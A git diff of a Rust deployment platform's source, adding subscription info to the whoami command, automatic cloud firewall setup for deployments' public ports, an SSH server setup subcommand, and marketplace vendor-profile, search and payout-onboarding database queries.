@@ -70,6 +74,44 @@ fn describe_project_lock(lock: Option<&DeploymentLock>) -> Vec<String> {
     }
 }
 
+fn resolve_user_service_url(creds: &StoredCredentials) -> Option<String> {
+    let cfg = UserConfig::load();
+    user_service_url_from_sources(
+        std::env::var("STACKER_AUTH_URL").ok(),
+        std::env::var("STACKER_API_URL").ok(),
+        creds.server_url.clone(),
+        cfg.auth_url,
+    )
+}
+
+fn describe_subscription_unavailable(reason: &str) -> Vec<String> {
+    vec![
+        "Subscription: unavailable".to_string(),
+        format!("  Reason:        {}", reason),
+    ]
+}
+
+fn load_subscription_plan(creds: Option<&StoredCredentials>) -> Vec<String> {
+    let Some(creds) = creds else {
+        return describe_subscription_unavailable("not logged in");
+    };
+
+    if creds.is_expired() {
+        return describe_subscription_unavailable("login expired; run `stacker login`");
+    }
+
+    let Some(user_service_url) = resolve_user_service_url(creds) else {
+        return describe_subscription_unavailable(
+            "missing User Service URL; set STACKER_AUTH_URL or configure auth_url",
+        );
+    };
+
+    match get_subscription_plan_blocking(&user_service_url, &creds.access_token) {
+        Ok(plan) => subscription_plan_lines(&plan),
+        Err(error) => describe_subscription_unavailable(&format!("failed to fetch plan: {error}")),
+    }
+}
+
 impl CallableTrait for WhoamiCommand {
     fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
         let creds = CredentialsManager::with_default_store().load()?;
@@ -77,6 +119,11 @@ impl CallableTrait for WhoamiCommand {
             println!("{}", line);
         }
 
+        println!();
+        for line in load_subscription_plan(creds.as_ref()) {
+            println!("{}", line);
+        }
+
         let project_dir = std::env::current_dir()?;
         let project_lock = load_project_lock(&project_dir)?;
         println!();
@@ -124,4 +171,12 @@ mod tests {
         assert!(lines.iter().any(|line| line.contains("owner@example.com")));
         assert!(lines.iter().any(|line| line.contains("demo")));
     }
+
+    #[test]
+    fn load_subscription_plan_reports_missing_login() {
+        let lines = load_subscription_plan(None);
+
+        assert_eq!(lines[0], "Subscription: unavailable");
+        assert!(lines.iter().any(|line| line.contains("not logged in")));
+    }
 }
diff --git a/src/console/commands/mq/listener.rs b/src/console/commands/mq/listener.rs
index daa263ca..d8a63e0d 100644
--- a/src/console/commands/mq/listener.rs
+++ b/src/console/commands/mq/listener.rs
@@ -1,7 +1,16 @@
 use crate::configuration::get_configuration;
+use crate::connectors::install_service::InstallServiceConnector;
 use crate::db;
+use crate::forms::cloud_firewall::{
+    idempotency_key, normalize_provider, CloudFirewallAction, CloudFirewallCredentials,
+    CloudFirewallOperationMessage, CloudFirewallRequestedBy, CloudFirewallRule,
+    CloudFirewallTarget, CLOUD_FIREWALL_PROTOCOL_VERSION,
+};
+use crate::forms::firewall::{parse_public_port, FirewallRuleDirection};
+use crate::forms::CloudForm;
 use crate::helpers::ip::extract_ipv4_from_text;
 use crate::helpers::mq_manager::MqManager;
+use crate::models;
 use actix_web::rt;
 use actix_web::web;
 use chrono::Utc;
@@ -11,8 +20,11 @@ use lapin::options::{BasicAckOptions, BasicConsumeOptions};
 use lapin::types::FieldTable;
 use serde_derive::{Deserialize, Serialize};
 use sqlx::PgPool;
+use std::collections::BTreeMap;
+use std::sync::Arc;
 use std::time::Duration;
 use tokio::time::sleep;
+use uuid::Uuid;
 
 pub struct ListenCommand {}
 
@@ -79,6 +91,172 @@ fn progress_message_server_ip(msg: &ProgressMessage) -> Option<String> {
         .or_else(|| extract_ipv4_from_text(&msg.message))
 }
 
+fn extract_public_ports(metadata: &Value) -> Vec<String> {
+    metadata
+        .get("public_ports")
+        .and_then(Value::as_array)
+        .map(|arr| {
+            arr.iter()
+                .filter_map(|v| v.as_str().map(str::to_string))
+                .filter(|s| !s.trim().is_empty())
+                .collect()
+        })
+        .unwrap_or_default()
+}
+
+fn build_public_firewall_message(
+    deployment: &models::Deployment,
+    server: &models::Server,
+    cloud: models::Cloud,
+    port_strings: &[String],
+    operation_id: String,
+) -> Result<CloudFirewallOperationMessage, String> {
+    let cloud_id = server.cloud_id.ok_or_else(|| {
+        format!(
+            "server {} has no cloud_id; auto-firewall skipped",
+            server.id
+        )
+    })?;
+    let server_public_ip = server
+        .srv_ip
+        .clone()
+        .filter(|ip| !ip.trim().is_empty())
+        .ok_or_else(|| {
+            format!(
+                "server {} has no public IP yet; auto-firewall skipped",
+                server.id
+            )
+        })?;
+    let provider = normalize_provider(&cloud.provider).ok_or_else(|| {
+        format!(
+            "cloud provider '{}' does not support auto-firewall",
+            cloud.provider
+        )
+    })?;
+
+    let cloud = if cloud.save_token == Some(true) {
+        CloudForm::decode_model(cloud, true)
+    } else {
+        cloud
+    };
+    let non_empty = |s: Option<String>| {
+        s.map(|v| v.trim().to_string())
+            .filter(|v| !v.is_empty())
+    };
+    let credentials = CloudFirewallCredentials {
+        provider: provider.to_string(),
+        token: non_empty(cloud.cloud_token),
+        key: non_empty(cloud.cloud_key),
+        secret: non_empty(cloud.cloud_secret),
+    };
+    if provider == "htz" && credentials.token.is_none() {
+        return Err(format!(
+            "Hetzner auto-firewall requires a valid cloud token for cloud {}",
+            cloud_id
+        ));
+    }
+
+    let managed_scope = format!("server:{}", server.id);
+    let mut rules: Vec<CloudFirewallRule> = Vec::with_capacity(port_strings.len());
+    for input in port_strings {
+        let port_rule = parse_public_port(input)
+            .map_err(|err| format!("invalid public_port '{}': {}", input, err))?;
+        let mut rule = CloudFirewallRule::from_port_rule(
+            port_rule,
+            FirewallRuleDirection::Inbound,
+            managed_scope.clone(),
+        );
+        rule.labels
+            .insert("stacker.server_id".to_string(), server.id.to_string());
+        rule.labels
+            .insert("stacker.operation_id".to_string(), operation_id.clone());
+        rule.labels.insert(
+            "stacker.deployment_hash".to_string(),
+            deployment.deployment_hash.clone(),
+        );
+        rules.push(rule);
+    }
+    if rules.is_empty() {
+        return Err("no valid public_ports to configure".to_string());
+    }
+
+    let target = CloudFirewallTarget {
+        provider: provider.to_string(),
+        cloud_id,
+        server_id: server.id,
+        project_id: server.project_id,
+        deployment_hash: Some(deployment.deployment_hash.clone()),
+        server_public_ip,
+        provider_server_id: None,
+        server_name: server.name.clone().or_else(|| server.server.clone()),
+        region: server.region.clone(),
+        zone: server.zone.clone(),
+        firewall_id: None,
+        firewall_name: None,
+    };
+
+    let action = CloudFirewallAction::Add;
+    Ok(CloudFirewallOperationMessage {
+        protocol_version: CLOUD_FIREWALL_PROTOCOL_VERSION.to_string(),
+        operation_id,
+        idempotency_key: idempotency_key(server.id, &action, &rules),
+        action,
+        dry_run: false,
+        target,
+        rules,
+        credentials,
+        provider_context: BTreeMap::new(),
+        requested_by: CloudFirewallRequestedBy {
+            user_id: deployment.user_id.clone().unwrap_or_default(),
+            user_email: None,
+        },
+    })
+}
+
+async fn configure_public_firewall_for_deployment(
+    db_pool: &PgPool,
+    install_service: &Arc<dyn InstallServiceConnector>,
+    mq_manager: &MqManager,
+    deployment: &models::Deployment,
+) -> Result<(), String> {
+    let port_strings = extract_public_ports(&deployment.metadata);
+    if port_strings.is_empty() {
+        return Ok(());
+    }
+
+    let servers = db::server::fetch_by_project(db_pool, deployment.project_id).await?;
+    let server = servers
+        .into_iter()
+        .find(|s| {
+            s.cloud_id.is_some()
+                && s.srv_ip
+                    .as_ref()
+                    .map_or(false, |ip| !ip.trim().is_empty())
+        })
+        .ok_or_else(|| {
+            format!(
+                "no cloud-managed server with public IP for project {}",
+                deployment.project_id
+            )
+        })?;
+
+    let cloud_id = server
+        .cloud_id
+        .expect("cloud_id checked above during server selection");
+    let cloud = db::cloud::fetch(db_pool, cloud_id)
+        .await?
+        .ok_or_else(|| format!("cloud {} not found for server {}", cloud_id, server.id))?;
+
+    let operation_id = format!("cfw_{}", Uuid::new_v4());
+    let message =
+        build_public_firewall_message(deployment, &server, cloud, &port_strings, operation_id)?;
+
+    install_service
+        .configure_cloud_firewall(message, mq_manager)
+        .await
+        .map(|_| ())
+}
+
 impl crate::console::commands::CallableTrait for ListenCommand {
     fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
         rt::System::new().block_on(async {
@@ -88,6 +266,9 @@ impl crate::console::commands::CallableTrait for ListenCommand {
                 .expect("Failed to connect to database.");
 
             let db_pool = web::Data::new(db_pool);
+            let install_service_data = crate::connectors::init_install_service(&settings.connectors);
+            let install_service: Arc<dyn InstallServiceConnector> =
+                install_service_data.get_ref().clone();
             let queue_name = "stacker_listener";
 
             // Outer loop for reconnection on connection errors
@@ -264,6 +445,8 @@ impl crate::console::commands::CallableTrait for ListenCommand {
                                             }
                                         }
 
+                                        let is_completed = row.status == "completed";
+                                        let row_for_firewall = row.clone();
                                         println!(
                                             "Deployment {} updated with status {}",
                                             &row.id, &row.status
@@ -273,6 +456,26 @@ impl crate::console::commands::CallableTrait for ListenCommand {
                                         {
                                             eprintln!("Failed to update deployment: {}", e);
                                         }
+
+                                        // Auto-configure cloud firewall when a new
+                                        // deployment reaches "completed" and the
+                                        // project has public_ports declared.
+                                        if is_completed {
+                                            if let Err(e) =
+                                                configure_public_firewall_for_deployment(
+                                                    db_pool.get_ref(),
+                                                    &install_service,
+                                                    &mq_manager,
+                                                    &row_for_firewall,
+                                                )
+                                                .await
+                                            {
+                                                eprintln!(
+                                                    "Auto-firewall failed for deployment {}: {}",
+                                                    row_for_firewall.id, e
+                                                );
+                                            }
+                                        }
                                     }
                                     Ok(None) => println!("Deployment record was not found in db"),
                                     Err(e) => eprintln!("Failed to fetch deployment: {}", e),
diff --git a/src/console/main.rs b/src/console/main.rs
index 85bf86c4..1ec5278c 100644
--- a/src/console/main.rs
+++ b/src/console/main.rs
@@ -264,6 +264,23 @@ enum StackerConfigCommands {
 
 #[derive(Debug, Subcommand)]
 enum StackerConfigSetupCommands {
+    /// Register a server (intranet or remote) as the deploy target
+    Server {
+        #[arg(long, value_name = "FILE")]
+        file: Option<String>,
+        /// Server IP address or hostname (e.g. 192.168.100.245)
+        #[arg(long, value_name = "IP")]
+        ip: Option<String>,
+        /// SSH user (default: root)
+        #[arg(long, value_name = "USER")]
+        user: Option<String>,
+        /// SSH port (default: 22)
+        #[arg(long, value_name = "PORT")]
+        port: Option<u16>,
+        /// Path to SSH private key
+        #[arg(long, value_name = "PATH")]
+        key: Option<String>,
+    },
     /// Configure cloud deployment defaults in stacker.yml
     Cloud {
         #[arg(long, value_name = "FILE")]
@@ -497,6 +514,11 @@ fn get_command(
                     stacker::console::commands::cli::config::ConfigUnlockCommand::new(file),
                 )),
                 StackerConfigCommands::Setup { command } => match command {
+                    StackerConfigSetupCommands::Server { file, ip, user, port, key } => Ok(Box::new(
+                        stacker::console::commands::cli::config::ConfigSetupServerCommand::new(
+                            file, ip, user, port, key,
+                        ),
+                    )),
                     StackerConfigSetupCommands::Cloud { file } => Ok(Box::new(
                         stacker::console::commands::cli::config::ConfigSetupCloudCommand::new(file),
                     )),
diff --git a/src/db/marketplace.rs b/src/db/marketplace.rs
index ad9d2bcd..9fadbcec 100644
--- a/src/db/marketplace.rs
+++ b/src/db/marketplace.rs
@@ -1,7 +1,8 @@
 use crate::models::{
-    AnalyticsPeriod, AnalyticsSummary, CloudBreakdown, MarketplaceVendorProfile, SeriesBucket,
-    StackCategory, StackTemplate, StackTemplateReview, StackTemplateVersion, TemplateAnalytics,
-    TemplatePerformance, VendorAnalytics,
+    AnalyticsPeriod, AnalyticsSummary, CloudBreakdown, MarketplaceVendorProfile,
+    PublicVendorProfile, PublicVendorTemplate, SeriesBucket, StackCategory, StackTemplate,
+    StackTemplateReview, StackTemplateVersion, TemplateAnalytics, TemplatePerformance,
+    VendorAnalytics,
 };
 use chrono::{Duration, Utc};
 use serde_json::{Map, Value};
@@ -16,14 +17,135 @@ pub enum CreateDraftError {
     Internal,
 }
 
+pub async fn get_public_vendor_profile(
+    pool: &PgPool,
+    identifier: &str,
+) -> Result<Option<PublicVendorProfile>, String> {
+    let query_span =
+        tracing::info_span!("marketplace_get_public_vendor_profile", identifier = %identifier);
+    let vendor_rating_sql =
+        crate::db::rating::visible_average_subquery_for_creator("mvp.creator_user_id");
+    let vendor_rating_count_sql =
+        crate::db::rating::visible_count_subquery_for_creator("mvp.creator_user_id");
+    let query = format!(
+        r#"SELECT
+            mvp.creator_user_id,
+            mvp.public_slug AS slug,
+            mvp.display_name,
+            mvp.bio,
+            mvp.avatar_url,
+            mvp.website_url,
+            mvp.verification_status = 'verified' AS verified,
+            {vendor_rating_sql} AS rating,
+            {vendor_rating_count_sql} AS rating_count,
+            5 AS rating_scale,
+            jsonb_strip_nulls(jsonb_build_object(
+                'country', mvp.metadata->'country',
+                'support_email', mvp.metadata->'support_email',
+                'socials', mvp.metadata->'socials'
+            )) AS metadata,
+            mvp.created_at
+        FROM marketplace_vendor_profile mvp
+        WHERE LOWER(TRIM(mvp.public_slug)) = LOWER(TRIM($1)) OR LOWER(TRIM(mvp.creator_user_id)) = LOWER(TRIM($1))
+        LIMIT 1"#
+    );
+
+    sqlx::query_as::<_, PublicVendorProfile>(&query)
+        .bind(identifier)
+        .fetch_optional(pool)
+        .instrument(query_span)
+        .await
+        .map_err(|e| {
+            tracing::error!("get_public_vendor_profile error: {:?}", e);
+            "Internal Server Error".to_string()
+        })
+}
+
+pub async fn list_approved_by_creator(
+    pool: &PgPool,
+    creator_user_id: &str,
+    sort: Option<&str>,
+) -> Result<Vec<PublicVendorTemplate>, String> {
+    let template_rating_sql =
+        crate::db::rating::visible_average_subquery_for_obj_id("t.product_id");
+    let template_rating_count_sql =
+        crate::db::rating::visible_count_subquery_for_obj_id("t.product_id");
+    let mut base = format!(
+        r#"SELECT
+            t.id,
+            t.creator_user_id,
+            t.creator_name,
+            mvp.public_slug AS vendor_slug,
+            t.name,
+            t.slug,
+            t.short_description,
+            t.long_description,
+            c.name AS category_code,
+            t.product_id,
+            t.tags,
+            t.tech_stack,
+            t.status,
+            t.is_configurable,
+            t.view_count,
+            t.deploy_count,
+            t.required_plan_name,
+            t.price,
+            t.billing_cycle,
+            t.currency,
+            t.created_at,
+            t.updated_at,
+            t.approved_at,
+            t.verifications,
+            t.infrastructure_requirements,
+            t.public_ports,
+            t.vendor_url,
+            {template_rating_sql} AS rating,
+            {template_rating_count_sql} AS rating_count,
+            5 AS rating_scale
+        FROM stack_template t
+        LEFT JOIN stack_category c ON t.category_id = c.id
+        LEFT JOIN marketplace_vendor_profile mvp ON LOWER(TRIM(mvp.creator_user_id)) = LOWER(TRIM(t.creator_user_id))
+        WHERE t.status = 'approved' AND t.creator_user_id = $1"#,
+    );
+
+    match sort.unwrap_or("recent") {
+        "popular" => base.push_str(
+            " ORDER BY (t.verifications @> '{\"hardened_images\":true}') DESC, t.deploy_count DESC, t.view_count DESC",
+        ),
+        "rating" => base.push_str(&format!(
+            " ORDER BY (t.verifications @> '{{\"hardened_images\":true}}') DESC, {} DESC NULLS LAST",
+            template_rating_sql
+        )),
+        _ => base.push_str(
+            " ORDER BY (t.verifications @> '{\"hardened_images\":true}') DESC, t.approved_at DESC NULLS LAST, t.created_at DESC",
+        ),
+    }
+
+    let query_span = tracing::info_span!("marketplace_list_approved_by_creator", creator_user_id = %creator_user_id);
+
+    sqlx::query_as::<_, PublicVendorTemplate>(&base)
+        .bind(creator_user_id)
+        .fetch_all(pool)
+        .instrument(query_span)
+        .await
+        .map_err(|e| {
+            tracing::error!("list_approved_by_creator error: {:?}", e);
+            "Internal Server Error".to_string()
+        })
+}
+
 pub async fn list_approved(
     pool: &PgPool,
     category: Option<&str>,
     tag: Option<&str>,
+    query: Option<&str>,
     sort: Option<&str>,
+    limit: Option<i64>,
 ) -> Result<Vec<StackTemplate>, String> {
+    let template_rating_sql =
+        crate::db::rating::visible_average_subquery_for_obj_id("t.product_id");
     let mut base = String::from(
-        r#"SELECT 
+        r#"SELECT
             t.id,
             t.creator_user_id,
             t.creator_name,
@@ -55,11 +177,25 @@ pub async fn list_approved(
         WHERE t.status = 'approved'"#,
     );
 
-    match (category.is_some(), tag.is_some()) {
-        (true, true) => base.push_str(" AND c.name = $1 AND t.tags ? $2"),
-        (true, false) => base.push_str(" AND c.name = $1"),
-        (false, true) => base.push_str(" AND t.tags ? $1"),
-        (false, false) => {}
+    let mut bind_index = 1;
+    if category.is_some() {
+        base.push_str(&format!(" AND c.name = ${}", bind_index));
+        bind_index += 1;
+    }
+    if tag.is_some() {
+        base.push_str(&format!(" AND t.tags ? ${}", bind_index));
+        bind_index += 1;
+    }
+    if query
+        .map(str::trim)
+        .filter(|value| !value.is_empty())
+        .is_some()
+    {
+        base.push_str(&format!(
+            " AND (t.slug ILIKE ${0} OR t.name ILIKE ${0} OR COALESCE(t.short_description, '') ILIKE ${0} OR COALESCE(t.long_description, '') ILIKE ${0} OR t.tags::text ILIKE ${0})",
+            bind_index
+        ));
+        bind_index += 1;
     }
 
     match sort.unwrap_or("recent") {
@@ -67,41 +203,36 @@ pub async fn list_approved(
         "popular" => base.push_str(
             " ORDER BY (t.verifications @> '{\"hardened_images\":true}') DESC, t.deploy_count DESC, t.view_count DESC",
         ),
-        "rating" => base.push_str(
-            " ORDER BY (t.verifications @> '{\"hardened_images\":true}') DESC, (SELECT AVG(rate) FROM rating WHERE rating.product_id = t.product_id) DESC NULLS LAST",
-        ),
+        "rating" => base.push_str(&format!(
+            " ORDER BY (t.verifications @> '{{\"hardened_images\":true}}') DESC, {} DESC NULLS LAST",
+            template_rating_sql
+        )),
         _ => base.push_str(
             " ORDER BY (t.verifications @> '{\"hardened_images\":true}') DESC, t.approved_at DESC NULLS LAST, t.created_at DESC",
         ),
     }
 
+    if limit.is_some() {
+        base.push_str(&format!(" LIMIT ${}", bind_index));
+    }
+
     let query_span = tracing::info_span!("marketplace_list_approved");
 
-    let res = if category.is_some() && tag.is_some() {
-        sqlx::query_as::<_, StackTemplate>(&base)
-            .bind(category.unwrap())
-            .bind(tag.unwrap())
-            .fetch_all(pool)
-            .instrument(query_span)
-            .await
-    } else if category.is_some() {
-        sqlx::query_as::<_, StackTemplate>(&base)
-            .bind(category.unwrap())
-            .fetch_all(pool)
-            .instrument(query_span)
-            .await
-    } else if tag.is_some() {
-        sqlx::query_as::<_, StackTemplate>(&base)
-            .bind(tag.unwrap())
-            .fetch_all(pool)
-            .instrument(query_span)
-            .await
-    } else {
-        sqlx::query_as::<_, StackTemplate>(&base)
-            .fetch_all(pool)
-            .instrument(query_span)
-            .await
-    };
+    let mut sql_query = sqlx::query_as::<_, StackTemplate>(&base);
+    if let Some(category) = category {
+        sql_query = sql_query.bind(category);
+    }
+    if let Some(tag) = tag {
+        sql_query = sql_query.bind(tag);
+    }
+    if let Some(query) = query.map(str::trim).filter(|value| !value.is_empty()) {
+        sql_query = sql_query.bind(format!("%{}%", query));
+    }
+    if let Some(limit) = limit {
+        sql_query = sql_query.bind(limit.clamp(1, 100));
+    }
+
+    let res = sql_query.fetch_all(pool).instrument(query_span).await;
 
     res.map_err(|e| {
         tracing::error!("list_approved error: {:?}", e);
@@ -118,7 +249,7 @@ pub async fn get_by_slug_and_user(
         tracing::info_span!("marketplace_get_by_slug_and_user", slug = %slug, user_id = %user_id);
 
     sqlx::query_as::<_, StackTemplate>(
-        r#"SELECT 
+        r#"SELECT
             t.id,
             t.creator_user_id,
             t.creator_name,
@@ -167,7 +298,7 @@ pub async fn get_by_slug_with_latest(
     let query_span = tracing::info_span!("marketplace_get_by_slug_with_latest", slug = %slug);
 
     let template = sqlx::query_as::<_, StackTemplate>(
-        r#"SELECT 
+        r#"SELECT
             t.id,
             t.creator_user_id,
             t.creator_name,
@@ -193,9 +324,11 @@ pub async fn get_by_slug_with_latest(
             t.verifications,
             t.infrastructure_requirements,
             t.public_ports,
-            t.vendor_url
+            t.vendor_url,
+            mvp.public_slug AS vendor_slug
         FROM stack_template t
         LEFT JOIN stack_category c ON t.category_id = c.id
+        LEFT JOIN marketplace_vendor_profile mvp ON LOWER(TRIM(mvp.creator_user_id)) = LOWER(TRIM(t.creator_user_id))
         WHERE t.slug = $1 AND t.status = 'approved'"#,
     )
     .bind(slug)
@@ -208,7 +341,7 @@ pub async fn get_by_slug_with_latest(
     })?;
 
     let version = sqlx::query_as::<_, StackTemplateVersion>(
-        r#"SELECT 
+        r#"SELECT
             id,
             template_id,
             version,
@@ -243,7 +376,7 @@ pub async fn get_by_id(
     let query_span = tracing::info_span!("marketplace_get_by_id", id = %template_id);
 
     let template = sqlx::query_as::<_, StackTemplate>(
-        r#"SELECT 
+        r#"SELECT
             t.id,
             t.creator_user_id,
             t.creator_name,
@@ -328,7 +461,7 @@ pub async fn create_draft(
             tags, tech_stack, infrastructure_requirements, status, price, billing_cycle, required_plan_name, currency,
             public_ports, vendor_url
         ) VALUES ($1,$2,$3,$4,$5,$6,(SELECT id FROM stack_category WHERE name = $7),$8,$9,$10,'draft',$11,$12,$13,$14,$15,$16)
-        RETURNING 
+        RETURNING
             id,
             creator_user_id,
             creator_name,
@@ -604,7 +737,7 @@ pub async fn update_metadata(
     }
 
     let res = sqlx::query(
-        r#"UPDATE stack_template SET 
+        r#"UPDATE stack_template SET
             name = COALESCE($2, name),
             short_description = COALESCE($3, short_description),
             long_description = COALESCE($4, long_description),
@@ -1019,7 +1152,7 @@ pub async fn list_mine(pool: &PgPool, user_id: &str) -> Result<Vec<StackTemplate
     let query_span = tracing::info_span!("marketplace_list_mine", user = %user_id);
 
     sqlx::query_as::<_, StackTemplate>(
-        r#"SELECT 
+        r#"SELECT
             t.id,
             t.creator_user_id,
             t.creator_name,
@@ -1069,11 +1202,46 @@ pub async fn list_mine(pool: &PgPool, user_id: &str) -> Result<Vec<StackTemplate
     })
 }
 
+/// Return every marketplace_vendor_profile row ordered newest-first.
+/// Used by the admin vendor list to surface all vendors regardless of whether
+/// they have entries in the PostgREST products table.
+pub async fn admin_list_vendor_profiles(
+    pool: &PgPool,
+) -> Result<Vec<crate::models::MarketplaceVendorProfile>, String> {
+    let query_span = tracing::info_span!("marketplace_admin_list_vendor_profiles");
+    sqlx::query_as::<_, crate::models::MarketplaceVendorProfile>(
+        r#"SELECT
+            creator_user_id,
+            COALESCE(verification_status, 'unverified') AS verification_status,
+            COALESCE(onboarding_status, 'not_started')  AS onboarding_status,
+            COALESCE(payouts_enabled, false)             AS payouts_enabled,
+            payout_provider,
+            payout_account_ref,
+            COALESCE(metadata, '{}'::jsonb)              AS metadata,
+            created_at,
+            updated_at,
+            public_slug,
+            display_name,
+            bio,
+            avatar_url,
+            website_url
+        FROM marketplace_vendor_profile
+        ORDER BY created_at DESC NULLS LAST"#,
+    )
+    .fetch_all(pool)
+    .instrument(query_span)
+    .await
+    .map_err(|e| {
+        tracing::error!("admin_list_vendor_profiles error: {:?}", e);
+        "Internal Server Error".to_string()
+    })
+}
+
 pub async fn admin_list_submitted(pool: &PgPool) -> Result<Vec<StackTemplate>, String> {
     let query_span = tracing::info_span!("marketplace_admin_list_submitted");
 
     sqlx::query_as::<_, StackTemplate>(
-        r#"SELECT 
+        r#"SELECT
             t.id,
             t.creator_user_id,
             t.creator_name,
@@ -1103,7 +1271,7 @@ pub async fn admin_list_submitted(pool: &PgPool) -> Result<Vec<StackTemplate>, S
         FROM stack_template t
         LEFT JOIN stack_category c ON t.category_id = c.id
         WHERE t.status IN ('submitted', 'approved')
-        ORDER BY 
+        ORDER BY
             CASE t.status
                 WHEN 'submitted' THEN 0
                 WHEN 'approved' THEN 1
@@ -1559,7 +1727,12 @@ pub async fn get_vendor_profile_by_creator(
             payout_account_ref,
             metadata,
             created_at,
-            updated_at
+            updated_at,
+            public_slug,
+            display_name,
+            bio,
+            avatar_url,
+            website_url
         FROM marketplace_vendor_profile
         WHERE creator_user_id = $1"#,
     )
@@ -1622,7 +1795,12 @@ pub async fn upsert_vendor_profile(
             payout_account_ref,
             metadata,
             created_at,
-            updated_at"#,
+            updated_at,
+            public_slug,
+            display_name,
+            bio,
+            avatar_url,
+            website_url"#,
     )
     .bind(creator_user_id)
     .bind(verification_status)
@@ -1640,6 +1818,49 @@ pub async fn upsert_vendor_profile(
     })
 }
 
+pub async fn update_vendor_public_profile(
+    pool: &PgPool,
+    creator_user_id: &str,
+    public_slug: Option<&str>,
+    display_name: Option<&str>,
+    bio: Option<&str>,
+    avatar_url: Option<&str>,
+    website_url: Option<&str>,
+) -> Result<(), String> {
+    let query_span =
+        tracing::info_span!("update_vendor_public_profile", creator_user_id = %creator_user_id);
+
+    sqlx::query(
+        r#"INSERT INTO marketplace_vendor_profile (creator_user_id, public_slug, display_name, bio, avatar_url, website_url)
+        VALUES ($1, $2, $3, $4, $5, $6)
+        ON CONFLICT (creator_user_id) DO UPDATE SET
+            public_slug   = COALESCE($2, marketplace_vendor_profile.public_slug),
+            display_name  = COALESCE($3, marketplace_vendor_profile.display_name),
+            bio           = COALESCE($4, marketplace_vendor_profile.bio),
+            avatar_url    = COALESCE($5, marketplace_vendor_profile.avatar_url),
+            website_url   = COALESCE($6, marketplace_vendor_profile.website_url),
+            updated_at    = NOW()"#,
+    )
+    .bind(creator_user_id)
+    .bind(public_slug)
+    .bind(display_name)
+    .bind(bio)
+    .bind(avatar_url)
+    .bind(website_url)
+    .execute(pool)
+    .instrument(query_span)
+    .await
+    .map(|_| ())
+    .map_err(|e| {
+        tracing::error!("update_vendor_public_profile error: {:?}", e);
+        if e.to_string().contains("public_slug") {
+            "Slug is already taken — choose a different one".to_string()
+        } else {
+            "Internal Server Error".to_string()
+        }
+    })
+}
+
 fn metadata_object(metadata: &Value) -> Map<String, Value> {
     match metadata {
         Value::Object(map) => map.clone(),
@@ -1705,10 +1926,14 @@ pub async fn ensure_vendor_onboarding_link(
     generated_account_ref: &str,
 ) -> Result<(MarketplaceVendorProfile, bool), String> {
     let existing = get_vendor_profile_by_creator(pool, creator_user_id).await?;
-    let linkage_created = existing
+    let reusable_existing_linkage = existing
         .as_ref()
-        .map(|profile| profile.payout_provider.is_none() || profile.payout_account_ref.is_none())
-        .unwrap_or(true);
+        .map(|profile| {
+            profile.payout_provider.as_deref() == Some(payout_provider)
+                && profile.payout_account_ref.is_some()
+        })
+        .unwrap_or(false);
+    let linkage_created = !reusable_existing_linkage;
 
     let verification_status = existing
         .as_ref()
@@ -1721,18 +1946,30 @@ pub async fn ensure_vendor_onboarding_link(
         Some("not_started") | None => "in_progress",
         Some(status) => status,
     };
-    let payouts_enabled = existing
-        .as_ref()
-        .map(|profile| profile.payouts_enabled)
-        .unwrap_or(false);
-    let payout_provider = existing
-        .as_ref()
-        .and_then(|profile| profile.payout_provider.as_deref())
-        .unwrap_or(payout_provider);
-    let payout_account_ref = existing
-        .as_ref()
-        .and_then(|profile| profile.payout_account_ref.as_deref())
-        .unwrap_or(generated_account_ref);
+    let payouts_enabled = if reusable_existing_linkage {
+        existing
+            .as_ref()
+            .map(|profile| profile.payouts_enabled)
+            .unwrap_or(false)
+    } else {
+        false
+    };
+    let payout_provider = if reusable_existing_linkage {
+        existing
+            .as_ref()
+            .and_then(|profile| profile.payout_provider.as_deref())
+            .unwrap_or(payout_provider)
+    } else {
+        payout_provider
+    };
+    let payout_account_ref = if reusable_existing_linkage {
+        existing
+            .as_ref()
+            .and_then(|profile| profile.payout_account_ref.as_deref())
+            .unwrap_or(generated_account_ref)
+    } else {
+        generated_account_ref
+    };
     let existing_metadata = existing
         .as_ref()
         .map(|profile| profile.metadata.clone())
@@ -1758,6 +1995,7 @@ pub async fn complete_vendor_onboarding(
     pool: &PgPool,
     creator_user_id: &str,
     source: &str,
+    payouts_enabled: bool,
 ) -> Result<Option<(MarketplaceVendorProfile, bool)>, String> {
     let existing = match get_vendor_profile_by_creator(pool, creator_user_id).await? {
         Some(profile) => profile,
@@ -1773,7 +2011,22 @@ pub async fn complete_vendor_onboarding(
     }
 
     if existing.onboarding_status == "completed" {
-        return Ok(Some((existing, false)));
+        if existing.payouts_enabled == payouts_enabled {
+            return Ok(Some((existing, false)));
+        }
+
+        let profile = upsert_vendor_profile(
+            pool,
+            creator_user_id,
+            Some(&existing.verification_status),
+            Some("completed"),
+            Some(payouts_enabled),
+            existing.payout_provider.as_deref(),
+            existing.payout_account_ref.as_deref(),
+            Some(existing.metadata.clone()),
+        )
+        .await?;
+        return Ok(Some((profile, false)));
     }
 
     let metadata = merge_onboarding_completion_metadata(&existing.metadata, source);
@@ -1782,7 +2035,7 @@ pub async fn complete_vendor_onboarding(
         creator_user_id,
         Some(&existing.verification_status),
         Some("completed"),
-        Some(existing.payouts_enabled),
+        Some(payouts_enabled),
         existing.payout_provider.as_deref(),
         existing.payout_account_ref.as_deref(),
         Some(metadata),
@@ -1792,6 +2045,52 @@ pub async fn complete_vendor_onboarding(
     Ok(Some((profile, true)))
 }
 
+pub async fn complete_vendor_onboarding_by_payout_account_ref(
+    pool: &PgPool,
+    payout_provider: &str,
+    payout_account_ref: &str,
+    source: &str,
+    payouts_enabled: bool,
+) -> Result<Option<(MarketplaceVendorProfile, bool)>, String> {
+    let profile = sqlx::query_as::<_, MarketplaceVendorProfile>(
+        r#"SELECT
+            creator_user_id,
+            verification_status,
+            onboarding_status,
+            payouts_enabled,
+            payout_provider,
+            payout_account_ref,
+            metadata,
+            created_at,
+            updated_at,
+            public_slug,
+            display_name,
+            bio,
+            avatar_url,
+            website_url
+        FROM marketplace_vendor_profile
+        WHERE payout_provider = $1 AND payout_account_ref = $2
+        LIMIT 1"#,
+    )
+    .bind(payout_provider)
+    .bind(payout_account_ref)
+    .fetch_optional(pool)
+    .await
+    .map_err(|err| {
+        tracing::error!(
+            "complete_vendor_onboarding_by_payout_account_ref lookup error: {:?}",
+            err
+        );
+        "Internal Server Error".to_string()
+    })?;
+
+    let Some(profile) = profile else {
+        return Ok(None);
+    };
+
+    complete_vendor_onboarding(pool, &profile.creator_user_id, source, payouts_enabled).await
+}
+
 /// Save a security scan result as a review record with security_checklist populated
